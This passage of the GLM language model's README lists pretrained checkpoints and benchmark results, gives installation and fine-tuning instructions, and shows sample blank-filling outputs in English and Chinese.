[Tsinghua-Cloud](https://cloud.tsinghua.edu.cn/d/13f5b03da9594e5490c4).\n\n| Name              | Params | Language | Corpus                                                                              | Objective      | File                                                               | Config                            |\n|-------------------|--------|----------|-------------------------------------------------------------------------------------|----------------|--------------------------------------------------------------------|-----------------------------------|\n| GLM-Base          | 110M   | English  | Wiki+Book                                                                           | Token          | glm-base-blank.tar.bz2                                             | model_blocklm_base.sh             |\n| GLM-Large         | 335M   | English  | Wiki+Book                                                                           | Token          | glm-large-blank.tar.bz2                                            | model_blocklm_large.sh            |\n| GLM-Large-Chinese | 335M   | Chinese  | [WuDaoCorpora](https://www.sciencedirect.com/science/article/pii/S2666651021000152) | Token+Sent+Doc | glm-large-chinese.tar.bz2                                          | model_blocklm_large_chinese.sh    |\n| GLM-Doc           | 335M   | English  | Wiki+Book                                                                           | Token+Doc      | glm-large-generation.tar.bz2                                       | model_blocklm_large_generation.sh |\n| GLM-410M          | 410M   | English  | Wiki+Book                                                                           | Token+Doc      | glm-1.25-generation.tar.bz2                                        | model_blocklm_1.25_generation.sh  |\n| GLM-515M          | 515M   | English  | Wiki+Book                                                                           | Token+Doc      | glm-1.5-generation.tar.bz2                                         | model_blocklm_1.5_generation.sh   |\n| GLM-RoBERTa       | 335M   | English  | RoBERTa                                                                             | Token          | glm-roberta-large-blank.tar.bz2                                    | model_blocklm_roberta_large.sh    |\n| GLM-2B            | 2B     | English  | [Pile](https://arxiv.org/abs/2101.00027)                                            | Token+Sent+Doc | glm-2b.tar.bz2                                                     | model_blocklm_2B.sh               |\n| GLM-10B           | 10B    | English  | [Pile](https://arxiv.org/abs/2101.00027)                                            | Token+Sent+Doc | [Download](https://lfs.aminer.cn/misc/cogview/glm-10b-1024.zip)    | model_blocklm_10B.sh              |\n| GLM-10B-Chinese   | 10B    | Chinese  | [WuDaoCorpora](https://www.sciencedirect.com/science/article/pii/S2666651021000152) | Token+Sent+Doc | [Download](https://lfs.aminer.cn/misc/cogview/glm-10b-chinese.zip) | model_blocklm_10B_chinese.sh      |\n\nUnzip the downloaded file into a local folder and set `CHECKPOINT_PATH` in the corresponding scripts to the folder path.\n\n## Results\n\n### [SuperGLUE](https://super.gluebenchmark.com)\n\ndev set, single model, single-task finetuning\n\n| Model                                                                                        | COPA | WSC  | RTE  | WiC  | CB        | MultiRC   | BoolQ | ReCoRD    |\n|----------------------------------------------------------------------------------------------|------|------|------|------|-----------|-----------|-------|-----------|\n| GLM-10B                                                                                      | 98.0 | 95.2 | 93.1 | 75.7 | 98.7/98.2 | 88.1/63.3 | 88.7  | 94.4/94.0 |\n| [DeBERTa-XXLarge-v2](https://github.com/microsoft/DeBERTa/tree/master/experiments/superglue) | 97.0 | -    | 93.5 | -    | -         | 87.8/63.6 | 88.3  | 94.1/93.7 |\n\n### Seq2Seq\n\n[CNN/Daily Mail](https://github.com/abisee/cnn-dailymail) (test set, no additional data used)\n\n| Model         | ROUGE-1  | ROUGE-2  | ROUGE-L  |\n|---------------|----------|----------|----------|\n| GLM-10B       | **44.7** | 21.4     | **41.4** |\n| T5-11B        | 43.5     | **21.6** | 40.7     |\n| PEGASUS-Large | 44.2     | 21.5     | **41.4** |\n| BART-Large    | 44.2     | 21.3     | 40.9     |\n\n[XSum](https://github.com/EdinburghNLP/XSum) (test set, no additional data used)\n\n| Model         | ROUGE-1  | ROUGE-2  | ROUGE-L  |\n|---------------|----------|----------|----------|\n| GLM-10B       | **48.9** | **25.7** | **40.4** |\n| PEGASUS-Large | 47.2     | 24.6     | 39.3     |\n| BART-Large    | 45.1     | 22.3     | 37.3     |\n\n### Language Modeling\n\ntest set, zero-shot\n\n| Model              | LAMBADA (accuracy) | Wikitext103 (perplexity) |\n|--------------------|--------------------|--------------------------|\n| GLM-10B (bi)       | 72.35              | 11.33                    |\n| GLM-10B (uni)      | 67.18              | 12.22                    |\n| GPT-2              | 52.66              | 17.48                    |\n| Megatron-LM (8.3B) | 66.51              | 10.81                    |\n| Turing-NLG         | 67.98              | 10.21                    |\n\n## Get Started\n\n### Hugging Face Hub\n\nYou can access GLM models via HuggingFace Hub. Please\ninstall `transformers>=4.23.1` and find all the available models [here](https://huggingface.co/models?filter=glm).\n\n#### Generation\n```python\nfrom transformers import AutoTokenizer, AutoModelForSeq2SeqLM\ntokenizer = AutoTokenizer.from_pretrained(\"BAAI/glm-10b\", trust_remote_code=True)\nmodel = AutoModelForSeq2SeqLM.from_pretrained(\"BAAI/glm-10b\", trust_remote_code=True)\nmodel = model.half().cuda()\nmodel.eval()\n\n# Inference\ninputs = tokenizer(\"Ng is an adjunct professor at [MASK] (formerly associate professor and Director of its Stanford AI Lab or SAIL ). Also a pioneer in online education, Ng co-founded Coursera and deeplearning.ai.\", return_tensors=\"pt\")\ninputs = tokenizer.build_inputs_for_generation(inputs, max_gen_length=512)\ninputs = inputs.to('cuda')\noutputs = model.generate(**inputs, max_length=512, eos_token_id=tokenizer.eop_token_id)\nprint(tokenizer.decode(outputs[0].tolist()))\n\n# Training\ninputs = tokenizer(\n    [\"Tsinghua University is located in [MASK].\", \"One minus one equals zero, is it correct? Answer: [MASK]\"],\n    return_tensors=\"pt\", padding=True)\ninputs = tokenizer.build_inputs_for_generation(inputs, targets=[\"Beijing\", \"No\"], max_gen_length=8, padding=False)\ninputs = inputs.to('cuda')\noutputs = model(**inputs)\nloss = outputs.loss\nlogits = outputs.logits\n```\n#### Classification\n```python\nfrom transformers import AutoTokenizer, AutoModelForMultipleChoice\ntokenizer = AutoTokenizer.from_pretrained(\"BAAI/glm-10b\", trust_remote_code=True)\nmodel = AutoModelForMultipleChoice.from_pretrained(\"BAAI/glm-10b\", trust_remote_code=True)\nmodel = model.half().cuda()\nmodel.eval()\n\ninputs = tokenizer([\"Tsinghua University is located in [MASK].\",\n                    \"One minus one equals zero, is it correct? Answer: [MASK]\"], return_tensors=\"pt\", padding=True)\nchoices = [[\"Beijing\", \"Shanghai\"], [\"Yes\", \"No\"]]\ninputs = tokenizer.build_inputs_for_multiple_choice(inputs, choices)\ninputs = inputs.to('cuda')\noutputs = model(**inputs)\nlogits = outputs.logits\n```\nYou can also convert the finetuned checkpoints with `scripts/convert_glm_checkpoint_to_transformers.py`. \n### Docker Image\n\nWe prepare two docker images based on CUDA 10.2 and CUDA 11.2. You can pull the pre-built images from Docker Hub and run\nwith docker v19.03+\n\n  ```shell\n  docker run --gpus all --rm -it --ipc=host zxdu20/glm-cuda102\n  ```\n\nor replace `glm-cuda102` with `glm-cuda112`.\n\nYou can also modify the image according to your requirements in [docker/cuda102.dockerfile](docker/cuda102.dockerfile)\nand build the image yourself\n\n  ```shell\n    docker build -f cuda102.dockerfile . -t glm-cuda102\n  ```\n\n### Manual Installation\n\nPlease first install PyTorch (we use 1.7.0) and [apex](https://github.com/NVIDIA/apex), and then install other\ndependencies by `pip install -r requirements.txt`\n\n### Clone this repo\n\n  ```shell\n  git clone https://github.com/THUDM/GLM\n  cd GLM\n  ```\n\n### Model Parallelism\n\nIf your encounter the `CUDA out of memory` error, which means you GPU memory is limited, you can try the model\nparallelism to divide the parameters into multiple GPUs. Take the two-way model parallelism as an example. First\nrun `change_mp.py` to divide the checkpoint:\n\n```shell\npython change_mp.py path_to_the_checkpoint 2\n```\n\nThen update the checkpoint path in the model config file (such\nas [config_tasks/model_blocklm_10B.sh](config_tasks/model_blocklm_10B.sh)) and change `MP_SIZE` in the script (such\nas [scripts/ds_finetune_superglue.sh](scripts/ds_finetune_superglue.sh)) to `2`.\n\n## Usage\n\nWe provide scripts for finetuning GLM on some downstream tasks.\n\n### Left-to-Right Generation / Blank Filling (Interactive)\n\n* Change `CHECKPOINT_PATH` to your local path. Run the following script\n\n```\nbash scripts/generate_block.sh \\\n     config_tasks/model_blocklm_10B_chinese.sh\n```\n\nSome models (GLM-2B, GLM-10B, and GLM-10B-Chinese) use three different mask tokens: `[MASK]` for short blank\nfilling, `[sMASK]` for sentence filling, and `[gMASK]` for left-to-right generation.\n\n<details>\n<summary><b>Examples</b></summary>\n\n#### Usage of `[MASK]` (Entity Prediction):\n\n##### Example1\n\nContext: Ng is an adjunct professor at [MASK] (formerly associate professor and Director of its Stanford AI Lab or\nSAIL ). Also a pioneer in online education, Ng co-founded Coursera and deeplearning.ai.\n\nGLM: the stanford university\n\n##### Example2 (Chinese)\n\nContext: \u51ef\u65cb\u95e8\u4f4d\u4e8e\u610f\u5927\u5229\u7c73\u5170\u5e02\u53e4\u57ce\u5821\u65c1\u30021807\u5e74\u4e3a\u7eaa\u5ff5[MASK]\u800c\u5efa\uff0c\u95e8\u9ad825\u7c73\uff0c\u9876\u4e0a\u77d7\u7acb\u4e24\u6b66\u58eb\u9752\u94dc\u53e4\u5175\u8f66\u94f8\u50cf\u3002\n\nGLM:\u62ff\u7834\u4ed1\u519b\u961f\u653b\u514b\u7c73\u5170\u57ce\n\n#### Usage of `[sMASK]` (Sentence Prediction)\n\n##### Example3\n\nContext: There have been various types of pretraining architectures including autoencoding models (e.g., BERT),\nautoregressive models (e.g., GPT), and encoder-decoder models (e.g., T5). [sMASK] We propose a General Language Model (\nGLM) based on autoregressive blank infilling to address this challenge. GLM improves blank filling pretraining by adding\n2D positional encodings and allowing an arbitrary order to predict spans, which results in performance gains over BERT\nand T5 on NLU tasks. Meanwhile, GLM can be pretrained for different types of tasks by varying the number and lengths of\nblanks. On a wide range of tasks across NLU, conditional and unconditional generation, GLM outperforms BERT, T5, and GPT\ngiven the same model sizes and data, and achieves the best performance from a single pretrained model with 1.25\u00d7\nparameters of BERT Large , demonstrating its generalizability to different downstream tasks.\n\nGLM: However, there is a growing need to develop a single pretraining model that is not only good at natural language\nunderstanding (NLU) or dialog generation/generation (dialog), but is also able to predict other tasks such as sentiment\nanalysis, conditional generation, or machine translation (MT).\n\n##### Example4 (Chinese)\n\nContext: \u5de5\u4e1a\u4e92\u8054\u7f51\uff08Industrial\nInternet\uff09\u662f\u65b0\u4e00\u4ee3\u4fe1\u606f\u901a\u4fe1\u6280\u672f\u4e0e\u5de5\u4e1a\u7ecf\u6d4e\u6df1\u5ea6\u878d\u5408\u7684\u65b0\u578b\u57fa\u7840\u8bbe\u65bd\u3001\u5e94\u7528\u6a21\u5f0f\u548c\u5de5\u4e1a\u751f\u6001\uff0c\u901a\u8fc7\u5bf9\u4eba\u3001\u673a\u3001\u7269\u3001\u7cfb\u7edf\u7b49\u7684\u5168\u9762\u8fde\u63a5\uff0c\u6784\u5efa\u8d77\u8986\u76d6\u5168\u4ea7\u4e1a\u94fe\u3001\u5168\u4ef7\u503c\u94fe\u7684\u5168\u65b0\u5236\u9020\u548c\u670d\u52a1\u4f53\u7cfb\uff0c\u4e3a\u5de5\u4e1a\u4e43\u81f3\u4ea7\u4e1a\u6570\u5b57\u5316\u3001\u7f51\u7edc\u5316\u3001\u667a\u80fd\u5316\u53d1\u5c55\u63d0\u4f9b\u4e86\u5b9e\u73b0\u9014\u5f84\uff0c\u662f\u7b2c\u56db\u6b21\u5de5\u4e1a\u9769\u547d\u7684\u91cd\u8981\u57fa\u77f3\u3002[sMASK]\n\u5b83\u4ee5\u7f51\u7edc\u4e3a\u57fa\u7840\u3001\u5e73\u53f0\u4e3a\u4e2d\u67a2\u3001\u6570\u636e\u4e3a\u8981\u7d20\u3001\u5b89\u5168\u4e3a\u4fdd\u969c\uff0c\u65e2\u662f\u5de5\u4e1a\u6570\u5b57\u5316\u3001\u7f51\u7edc\u5316\u3001\u667a\u80fd\u5316\u8f6c\u578b\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u4e5f\u662f\u4e92\u8054\u7f51\u3001\u5927\u6570\u636e\u3001\u4eba\u5de5\u667a\u80fd\u4e0e\u5b9e\u4f53\u7ecf\u6d4e\u6df1\u5ea6\u878d\u5408\u7684\u5e94\u7528\u6a21\u5f0f\uff0c\u540c\u65f6\u4e5f\u662f\u4e00\u79cd\u65b0\u4e1a\u6001\u3001\u65b0\u4ea7\u4e1a\uff0c\u5c06\u91cd\u5851\u4f01\u4e1a\u5f62\u6001\u3001\u4f9b\u5e94\u94fe\u548c\u4ea7\u4e1a\u94fe\u3002\u5f53\u524d\uff0c\u5de5\u4e1a\u4e92\u8054\u7f51\u878d\u5408\u5e94\u7528\u5411\u56fd\u6c11\u7ecf\u6d4e\u91cd\u70b9\u884c\u4e1a\u5e7f\u6cdb\u62d3\u5c55\uff0c\u5f62\u6210\u5e73\u53f0\u5316\u8bbe\u8ba1\u3001\u667a\u80fd\u5316\u5236\u9020\u3001\u7f51\u7edc\u5316\u534f\u540c\u3001\u4e2a\u6027\u5316\u5b9a\u5236\u3001\u670d\u52a1\u5316\u5ef6\u4f38\u3001\u6570\u5b57\u5316\u7ba1\u7406\u516d\u5927\u65b0\u6a21\u5f0f\uff0c\u8d4b\u80fd\u3001\u8d4b\u667a\u3001\u8d4b\u503c\u4f5c\u7528\u4e0d\u65ad\u663e\u73b0\uff0c\u6709\u529b\u7684\u4fc3\u8fdb\u4e86\u5b9e\u4f53\u7ecf\u6d4e\u63d0\u8d28\u3001\u589e\u6548\u3001\u964d\u672c\u3001\u7eff\u8272\u3001\u5b89\u5168\u53d1\u5c55\u3002\n\nGLM: \u5de5\u4e1a\u4e92\u8054\u7f51\u662f\u5236\u9020\u4e1a\u6280\u672f\u3001\u7ba1\u7406\u3001\u6a21\u5f0f\u7684\u91cd\u5927\u53d8\u9769,\u662f\u63a8\u52a8\u4e92\u8054\u7f51\u3001\u5927\u6570\u636e\u3001\u4eba\u5de5\u667a\u80fd\u548c\u5b9e\u4f53\u7ecf\u6d4e\u6df1\u5ea6\u878d\u5408\u7684\u91cd\u8981\u8f7d\u4f53,\u662f\u5efa\u8bbe\u5236\u9020\u5f3a\u56fd\u548c\u7f51\u7edc\u5f3a\u56fd\u7684\u91cd\u8981\u57fa\u7840\u3002\n\n#### Usage of `[gMASK]` (Long Text Generation)\n\n##### Example5 (Chinese)\n\nContext: \u95ee\u9898\uff1a\u51ac\u5929\uff0c\u4e2d\u56fd\u54ea\u5ea7\u57ce\u5e02\u6700\u9002\u5408\u907f\u5bd2\uff1f\u95ee\u9898\u63cf\u8ff0\uff1a\u80fd\u63a8\u8350\u4e00\u4e9b\u56fd\u5185\u9002\u5408\u51ac\u5929\u907f\u5bd2\u7684\u57ce\u5e02\u5417\uff1f\u56de\u7b54\u7528\u6237\uff1a\u65c5\u6e38\u7231\u597d\u8005 \u56de\u7b54\uff1a [gMASK]\n\nGLM:\n\u6d77\u5357\u4e09\u4e9a,\u4e09\u4e9a\u7684\u51ac\u5929\u662f\u4e09\u4e9a\u7684\u65fa\u5b63,\u56e0\u4e3a\u51ac\u5929\u56fd\u5185\u5927\u90e8\u5206\u5730\u65b9\u90fd\u6709\u96fe\u973e,\u800c\u4e09\u4e9a\u5374\u662f\u6ca1\u6709\u96fe\u973e\u7684\u5730\u65b9,\u6240\u4ee5\u4e09\u4e9a\u662f\u51ac\u5929\u6700\u60ec\u610f\u4e0d\u8fc7\u7684\u5730\u65b9\u4e86\u3002\u5728\u4e1c\u5317\u957f\u5927\u7684\u6211\u89c9\u5f97\u4e09\u4e9a\u7b80\u76f4\u5c31\u662f\u4e00\u4e2a\u5929\u5802,\u51ac\u5929\u53bb\u6d77\u53e3\u4e09\u4e9a\u65c5\u6e38,\u4eab\u53d7\u51ac\u5929,\u4eab\u53d7\u9633\u5149\u6c99\u6ee9\u3002\u4f46\u662f\u6d77\u53e3\u5374\u662f\u5f88\u5e72\u71e5,\u9700\u8981\u591a\u559d\u6c34\u3002\n\u4e09\u4e9a\u51ac\u5929\u6700\u70ed\u95e8\u7684\u73a9\u6cd5\u5c31\u662f\u6652\u592a\u9633,\u5728\u6d77\u8fb9\u6652\u6652\u592a\u9633,\u5728\u6c99\u6ee9\u4e0a\u6652\u6652\u592a\u9633,\u611f\u89c9\u6574\u4e2a\u4eba\u90fd\u5f97\u5230\u4e86\u89e3\u653e\u3002\u4e09\u4e9a\u8fd8\u6709\u4e00\u4e2a\u7279\u8272\u9879\u76ee,\u5c31\u662f\u6d77\u4e0a\u51b2\u6d6a,\u5728\u4e09\u4e9a\u7684\u6c99\u6ee9\u4e0a\u51b2\u6d6a\u4e5f\u662f\u4e00\u4ef6\u975e\u5e38\u523a\u6fc0\u7684\u4e8b\u60c5\u3002\n\u6d77\u53e3,\u6d77\u53e3\u51ac\u5b63\u7684\u9633\u5149\u5341\u5206\u6e29\u6696,\u6d77\u5357\u7684\u51ac\u5b63\u4e5f\u662f\u5c5e\u4e8e\u51ac\u5b63\u65c5\u6e38\u7684\u65fa\u5b63\u3002\u51ac\u5b63\u7684\u6d77\u53e3\u6700\u68d2\u7684\u662f\u53bb\u6d77\u5357\u7684\u70ed\u5e26\u91ce\u751f\u52a8\u690d\u7269\u56ed,\u90a3\u91cc\u6709\u6570\u4e4b\u4e0d\u5c3d\u7684\u70ed\u5e26\u5c0f\u52a8\u7269,\u5728\u8fd9\u91cc\u53ef\u4ee5\u8fd1\u8ddd\u79bb\u7684\u548c\u5b83\u4eec\u63a5\u89e6,\u6d77\u5357\u7684\u70ed\u5e26\u91ce\u751f\u52a8\u690d\u7269\u56ed\u4e5f\u662f\u6d77\u5357\u7684\u5929\u7136\u6c27\u5427\u3002\u8fd8\u53ef\u4ee5\u5728\u6d77\u53e3\u89c2\u6f9c\u6e56\u516c\u56ed\u91cc\u611f\u53d7\u6d77\u53e3\u7f8e\u4e3d\u7684\u6d77\u666f\u3002\n\u8d35\u9633,\u8d35\u5dde\u7684\u51ac\u5929\u4e5f\u662f\u5341\u5206\u6e29\u6696\u7684,\u8d35\u9633\u4e5f\u662f\u51ac\u5b63\u907f\u5bd2\u5f88\u597d\u7684\u57ce\u5e02\u4e4b\u4e00\u3002\u51ac\u5b63\u53bb\u8d35\u9633\u73a9\u4e00\u5b9a\u8981\u53bb\u9ed4\u7075\u5c71,\u9ed4\u7075\u5c71\u662f\u8d35\u5dde\u9999\u706b\u5f88\u65fa\u76db\u7684\u4e00\u4e2a\u5bfa\u5e99,\u5bfa\u5e99\u7684\u51ac\u5b63\u9999\u706b\u9f0e\u76db,\u5728\u51ac\u5b63\u53bb\u5bfa\u5e99\u6e38\u73a9\u4e5f\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u4f53\u9a8c\u3002\u9664\u4e86\u9ed4\u7075\u5c71,\u8d35\u9633\u5728\u51ac\u5b63\u8fd8\u6709\u82b1\u6eaa\u516c\u56ed\u53ef\u4ee5\u53bb\u73a9,\u82b1\u6eaa\u516c\u56ed\u4e5f\u662f\u53bb\u5f53\u5730\u516c\u56ed\u73a9\u6700\u597d\u7684\u9009\u62e9\u3002\n\u9752\u5c9b,\u9752\u5c9b\u7684\u51ac\u5929\u662f\u9752\u5c9b\u6700\u8212\u670d\u7684\u65f6\u5019,\u9752\u5c9b\u6709\u5f88\u591a\u6d77\u6ee8\u6d74\u573a,\u51ac\u5929\u53bb\u6d77\u8fb9\u6ce1\u4e00\u6ce1\u6e29\u6cc9,\u7136\u540e\u6652\u6652\u592a\u9633\u662f\u4e00\u4ef6\u5341\u5206\u60ec\u610f\u7684\u4e8b\u60c5\u3002\u9752\u5c9b\u4e5f\u6709\u6c99\u6ee9,\u51ac\u5929\u5728\u6c99\u6ee9\u4e0a\u6652\u6652\u592a\u9633,\u770b\u770b\u6d77,\u518d\u73a9\u73a9\u6c99\u6ee9\u6e38\u620f,\u611f\u89c9\u5341\u5206\u5feb\u4e50\u7684\u4e8b\u3002\n</details>\n\nYou can also add multiple `[MASK]` and `[sMASK]` in a single example. The model will fill the blanks one by one from left to right. The answer to each blank always begins with a special `<|startofpiece|>`.\n\n<details>\n<summary><b>Examples</b></summary>\n\n##### Example1\n\nContext: There have been various types of pretraining architectures including autoencoding models (e.g., BERT), autoregressive models (e.g., GPT), and [MASK] (e.g., T5). [sMASK] We propose a General Language Model ( GLM) based on autoregressive blank infilling to address this challenge. GLM improves blank filling pretraining by adding 2D positional encodings and allowing an arbitrary order to predict spans, which results in performance gains over [MASK] on NLU tasks. Meanwhile, GLM can be pretrained for different types of tasks by varying the number and lengths of blanks. On a wide range of tasks across NLU, conditional and [MASK], GLM outperforms BERT, T5, and GPT given the same model sizes and data, and achieves the best performance from a single pretrained model with 1.25\u00d7 parameters of BERT Large , demonstrating its generalizability to different downstream tasks.\n\nGLM: <|startofpiece|> blank filling models<|startofpiece|> However, most of them cannot easily transfer to other downstream tasks due to the different characteristics of these tasks.<|startofpiece|> other pretrained models<|startofpiece|> unconditional reading, and semantic role labeling tasks\n\n##### Example2 (Chinese)\n\nContext: \u5de5\u4e1a\u4e92\u8054\u7f51\uff08Industrial Internet\uff09\u662f\u65b0\u4e00\u4ee3[MASK]\u4e0e[MASK]\u6df1\u5ea6\u878d\u5408\u7684\u65b0\u578b\u57fa\u7840\u8bbe\u65bd\u3001\u5e94\u7528\u6a21\u5f0f\u548c\u5de5\u4e1a\u751f\u6001\uff0c\u901a\u8fc7\u5bf9\u4eba\u3001\u673a\u3001\u7269\u3001\u7cfb\u7edf\u7b49\u7684\u5168\u9762\u8fde\u63a5\uff0c\u6784\u5efa\u8d77\u8986\u76d6\u5168\u4ea7\u4e1a\u94fe\u3001\u5168\u4ef7\u503c\u94fe\u7684\u5168\u65b0\u5236\u9020\u548c\u670d\u52a1\u4f53\u7cfb\uff0c\u4e3a\u5de5\u4e1a\u4e43\u81f3\u4ea7\u4e1a\u6570\u5b57\u5316\u3001\u7f51\u7edc\u5316\u3001\u667a\u80fd\u5316\u53d1\u5c55\u63d0\u4f9b\u4e86\u5b9e\u73b0\u9014\u5f84\uff0c\u662f\u7b2c\u56db\u6b21\u5de5\u4e1a\u9769\u547d\u7684\u91cd\u8981\u57fa\u77f3\u3002[sMASK] \u5b83\u4ee5\u7f51\u7edc\u4e3a\u57fa\u7840\u3001\u5e73\u53f0\u4e3a\u4e2d\u67a2\u3001\u6570\u636e\u4e3a\u8981\u7d20\u3001\u5b89\u5168\u4e3a\u4fdd\u969c\uff0c\u65e2\u662f\u5de5\u4e1a\u6570\u5b57\u5316\u3001\u7f51\u7edc\u5316\u3001\u667a\u80fd\u5316\u8f6c\u578b\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u4e5f\u662f\u4e92\u8054\u7f51\u3001\u5927\u6570\u636e\u3001\u4eba\u5de5\u667a\u80fd\u4e0e\u5b9e\u4f53\u7ecf\u6d4e\u6df1\u5ea6\u878d\u5408\u7684\u5e94\u7528\u6a21\u5f0f\uff0c\u540c\u65f6\u4e5f\u662f\u4e00\u79cd\u65b0\u4e1a\u6001\u3001\u65b0\u4ea7\u4e1a\uff0c\u5c06\u91cd\u5851\u4f01\u4e1a\u5f62\u6001\u3001\u4f9b\u5e94\u94fe\u548c\u4ea7\u4e1a\u94fe\u3002\u5f53\u524d\uff0c\u5de5\u4e1a\u4e92\u8054\u7f51\u878d\u5408\u5e94\u7528\u5411\u56fd\u6c11\u7ecf\u6d4e\u91cd\u70b9\u884c\u4e1a\u5e7f\u6cdb\u62d3\u5c55\uff0c\u5f62\u6210[MASK]\u3001\u667a\u80fd\u5316\u5236\u9020\u3001[MASK]\u3001\u4e2a\u6027\u5316\u5b9a\u5236\u3001\u670d\u52a1\u5316\u5ef6\u4f38\u3001\u6570\u5b57\u5316\u7ba1\u7406\u516d\u5927\u65b0\u6a21\u5f0f\uff0c\u8d4b\u80fd\u3001\u8d4b\u667a\u3001\u8d4b\u503c\u4f5c\u7528\u4e0d\u65ad\u663e\u73b0\uff0c\u6709\u529b\u7684\u4fc3\u8fdb\u4e86\u5b9e\u4f53\u7ecf\u6d4e\u63d0\u8d28\u3001\u589e\u6548\u3001\u964d\u672c\u3001\u7eff\u8272\u3001\u5b89\u5168\u53d1\u5c55\u3002\n\nGLM:\n<|startofpiece|>\u4fe1\u606f\u6280\u672f(ICT)<|startofpiece|>\u5de5\u4e1a\u7ecf\u6d4e(II2O)<|startofpiece|>\u6211\u56fd\u5de5\u4e1a\u4e92\u8054\u7f51\u662f\u9762\u5411\u5de5\u4e1a\u5168\u9886\u57df\u3001\u5168\u6d41\u7a0b\u3001\u5168\u4f53\u7cfb\u7684\u4e92\u8054\u7f51,\u5177\u6709\u591a\u4ea7\u4e1a\u3001\u591a\u9886\u57df\u878d\u5408\u7684\u7279\u70b9\u3002<|startofpiece|>\u7f51\u7edc\u5316\u534f\u540c<|startofpiece|>\u5e73\u53f0\u4f01\u4e1a\n\n</details>\n\n\n### SuperGLUE\n\n- Download the [SuperGlue](https://super.gluebenchmark.com/tasks) data and check the experiment setup in\n  [scripts/ds_finetune_superglue.sh](scripts/ds_finetune_superglue.sh). Note\n  that `DATA_ROOT, CHECKPOINT_PATH, SAVE_PATH`\n  need to be changed to your local path. You may also change the `batch-size` and `nproc_per_node` according to your\n  available hardware.\n\n- Run the following script (use the COPA dataset as an example)\n\n```\nbash scripts/ds_finetune_superglue.sh \\\n     config_tasks/model_blocklm_10B.sh \\\n     config_tasks/task_copa.sh\n```\n\n- We also implement [P-Tuning](https://arxiv.org/abs/2103.10385) in our code. Run the following script to integrate\n  p-tuning:\n\n```shell\nbash scripts/ds_finetune_superglue_prompt.sh \\\n     config_tasks/model_blocklm_10B.sh \\\n     config_tasks/task_copa.sh\n```\n\n- To apply GLM to a new NLU dataset with cloze-filling finetuning, implement a `DataProcessor` in\n  [tasks/superglue/dataset.py](tasks/superglue/dataset.py) for data loading and add a `PVP` in\n  [tasks/superglue/pvp.py](tasks/superglue/pvp.py) for the cloze question. More details can be found\n  [here](tasks/superglue/README.md).\n\n### Seq2Seq\n\n- Download the [Gigaword](https://github.com/harvardnlp/sent-summary)\n  , [CNN/Daily Mail](https://github.com/artmatsak/cnn-dailymail)\n  or [XSum](https://github.com/EdinburghNLP/XSum/tree/master/XSum-Dataset) dataset and check the experiment setup in\n  [scripts/ds_finetune_seq2seq.sh](scripts/ds_finetune_seq2seq.sh). Change `DATA_ROOT, CHECKPOINT_PATH, SAVE_PATH` to\n  your\n  local path.\n\n- Run the following script (use the CNN/Daily Mail dataset as an example)\n\n  ```\n  bash scripts/ds_finetune_seq2seq.sh \\ \n     config_tasks/model_blocklm_10B.sh \\ \n     config_tasks/seq_cnndm_org.sh\n  ```\n- The summaries are written into `./runs/experiment_name/test.jsonl.hyps`. The references are written\n  into `test.jsonl.refs` in the same directory. For calculating rouge,\n  install [file2rouge](https://github.com/pltrdy/files2rouge) and download Stanford CoreNLP\n  from [here](http://nlp.stanford.edu/software/stanford-corenlp-full-2016-10-31.zip). Run the following script\n  ```\n  bash scripts/evaluate_seq2seq.sh \\\n   ./runs/experiment_name/test.jsonl.hyps ./runs/experiment_name/test.jsonl.refs\n  ```\n\n#### Train with your own data\n\nProcess your seq2seq data into `{split}.source` and `{split}.target`, with each line being the context or the target of\na sample, and `split` being `train`, `val`, and `test`.\n\nRun the following script\n\n```shell\nbash scripts/ds_finetune_seq2seq.sh \\ \n   config_tasks/model_blocklm_10B.sh \\ \n   config_tasks/seq_customization.sh\n```\n\nYou can specify the hyperparameters in `config_tasks/seq_customization.sh`\nand `config_tasks/config_blocklm_10B_cnndm.json`\n\n### Multiple Choice (Zero-shot)\n\n```shell\nbash scripts/evaluate_multichoice.sh config_tasks/model_blocklm_10B.sh\n```\n\nNote that `CHECKPOINT_PATH` and `DATA_PATH` need to be changed to your local path.\n\nThe format of each line of the data file should be\n\n```\n{\"inputs_pretokenized\": \"Context and question here\", \"choices_pretokenized\": [\"Choice 1\", \"Choice 2\", \"Choice 3\"], \"label\": int}\n```\n\n### Language Modeling\n\n#### LAMBADA Cloze Accuracy\n\n* Download the [LAMBADA](https://github.com/cybertronai/bflm/blob/master/lambada_test.jsonl) data and change\n  `DATA_ROOT, CHECKPOINT_PATH` in [scripts/evaluate_lm.sh](scripts/evaluate_lm.sh)\n* Run the following script\n\n```shell\nbash scripts/evaluate_lm.sh \\ \n     config_tasks/model_blocklm_large_generation.sh \\\n     config_tasks/zero_lambada.sh \n```\n\n#### LM Perplexity\n\n* Download\n  our [test set of wikibook](https://mailstsinghuaeducn-my.sharepoint.com/:t:/g/personal/duzx16_mails_tsinghua_edu_cn/EQa_B6KY_q1FjtUeG-T52iMBFtNrfhfHcZbzMxfkJKXKRQ?e=inTdHh)\n  or [Wikitext103](https://s3.amazonaws.com/research.metamind.io/wikitext/wikitext-103-v1.zip) dataset and\n  change `DATA_ROOT, CHECKPOINT_PATH`\n  in [scripts/evaluate_lm.sh](scripts/evaluate_lm.sh)\n* Run the following script\n  ```shell\n  bash scripts/evaluate_lm.sh \\ \n     config_tasks/model_blocklm_large_generation.sh \\\n     config_tasks/zero_wikitext.sh \n  ```\n\n### Text Infilling\n\n- Download the [Yahoo](https://github.com/Varal7/blank_language_model) dataset and check the experiment setup in\n  [scripts/finetune_blank.sh](scripts/finetune_blank.sh). Change `DATA_ROOT, CHECKPOINT_PATH, SAVE_PATH` to your\n  local path.\n\n- Run the following script\n\n```\nbash scripts/finetune_blank.sh \\ \n     config_tasks/model_blocklm_large.sh \\ \n     config_tasks/seq_blank.sh\n```\n\n## Pretrain\n\nRun the following script to pre-train the GLM-Large model\n\n```shell\nbash scripts/ds_pretrain_nvidia.sh config/ds_block_large.sh\n```\n\nThe script [scripts/ds_pretrain_nvidia.sh](scripts/ds_pretrain_nvidia.sh) launches the training program with DeepSpeed.\nYou should change `NUM_WORKERS` and `NUM_GPUS_PER_WORKER` to the number of workers and the number of gpus per worker.\nAlso change `HOST_FILE_PATH` to the path to an OpenMPI-style hostfile. More details about DeepSpeed launcher can be\nfound [here](https://www.deepspeed.ai/getting-started/#resource-configuration-multi-node).\n\nThe file [config/ds_block_large.sh](config/ds_block_large.sh) defines the hyperparameters for pretraining. 